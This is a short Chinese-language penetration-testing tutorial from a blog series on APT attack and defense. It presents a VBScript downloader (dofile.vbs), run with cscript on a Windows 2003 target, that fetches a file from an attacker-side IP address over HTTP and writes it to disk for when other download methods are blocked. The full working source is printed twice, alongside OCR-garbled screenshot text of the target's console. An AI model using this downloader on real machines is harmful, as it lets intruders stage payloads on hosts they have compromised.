## 专注APT攻击与防御

## https://micropoor.blogspot.com/

在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季vbs参数化的下载。

## 靶机: windows 2003

```
文件(P) 編辑(E) 查看(Y) 收藏(A) 工具(I) 帮助(H)
🕝 后退 🔻 🕒 🗸 🤌 🔎 搜索 🌔 文件夹 📗 🕸 🔀 💙 🔛 🕶
地址 @) 🗀 C:\test
                                      大小「类型
                                                             修改日期
                                                                                | 属性 |
名称 ▲
BlobO O.bin
                                      1 📉 命令提示符
                                                                                                                                        downfile.js
                                       Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985—2003 Microsoft Corp.
out. bin
dofile. vbs
                                        C:\Documents and Settings\Administrator>cd \
🗐 logo. txt
                                        C:∖>cd test
                                       C:\test>cscript.exe dofile.vbs
Microsoft (R> Windows Script Host Version 5.6
版权所有(C> Microsoft Corporation 1996—2001。保留所有权利。
                                        C:\test>cscript.exe dofile.vbs
                                        Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996–2001。保留所有权利。
```

```
🗎 dofile. vbs🛚
       strFileURL = "http://192.168.1.115/robots.txt"
       strHDLocation = "c:\test\logo.txt"

☐ Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

  3
           objXMLHTTP.open "GET", strFileURL, false
  5
           objXMLHTTP.send()
       If objXMLHTTP.Status = 200 Then
  6
  7
       Set objADOStream = CreateObject("ADODB.Stream")
  8
       objADOStream.Open
  9
       objADOStream.Type = 1
 10
       objADOStream.Write objXMLHTTP.ResponseBody
 11
       objADOStream.Position = 0
 12
       Set objFSO = CreateObject("Scripting.FileSystemObject")
       If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
 13
 14
       Set objFSO = Nothing
 15
       objADOStream.SaveToFile strHDLocation
 16
       objADOStream.Close
 17
       Set objADOStream = Nothing
 18
       End if
       Set objXMLHTTP = Nothing
 19
```

## 附:源码如下:

```
1 strFileURL = "http://192.168.1.115/robots.txt"
2 strHDLocation = "c:\test\logo.txt"
3 Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
```

```
4 objXMLHTTP.open "GET", strFileURL, false
5 objXMLHTTP.send()
6 If objXMLHTTP.Status = 200 Then
7 Set objADOStream = CreateObject("ADODB.Stream")
8 objADOStream.Open
9 objADOStream.Type = 1
10 objADOStream.Write objXMLHTTP.ResponseBody
11 objADOStream.Position = 0
12 Set objFSO = CreateObject("Scripting.FileSystemObject")
13 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati
on
14 Set objFSO = Nothing
15 objADOStream.SaveToFile strHDLocation
16 objADOStream.Close
17 Set objADOStream = Nothing
18 End if
19 Set objXMLHTTP = Nothing
```

• Micropoor